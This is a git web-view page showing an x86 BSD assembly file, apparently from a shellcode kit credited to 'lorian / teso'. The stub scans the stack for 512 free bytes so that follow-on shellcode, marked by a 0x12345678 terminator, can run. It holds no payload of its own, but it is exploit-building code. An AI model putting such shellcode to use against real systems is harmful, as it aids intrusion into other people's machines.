summaryrefslogtreecommitdiff
path: root/other/shellkit/x86_bsd/spset.s
blob: 9bc19f42b5952a51dcde04e6b587cd86cf9a618d (plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
/* x86 spset shellcode
 *
 * lorian / teso 
 */
	.globl	cbegin
	.globl  _cbegin
	.globl	cend
	.globl  _cend

/* searches for 512 bytes "free" space on stack without destroying it
 * like any kind of call would do...
 *
 * NOTE: your real shellcode must be terminated with 
 *       \x78\x56\x34\x12 for this code to work... 
 */

_cbegin:
cbegin:

	movl 	$0x12345678, %eax
a:
        cdq
	movb	$0x02, %dh
b:
	popl	%ebx
	pushl	%ebx
	incl	%esp
	decl	%edx
	jz	c
	cmpl	%eax, %ebx
	je	a
	jmp	b
c:

_cend:
cend: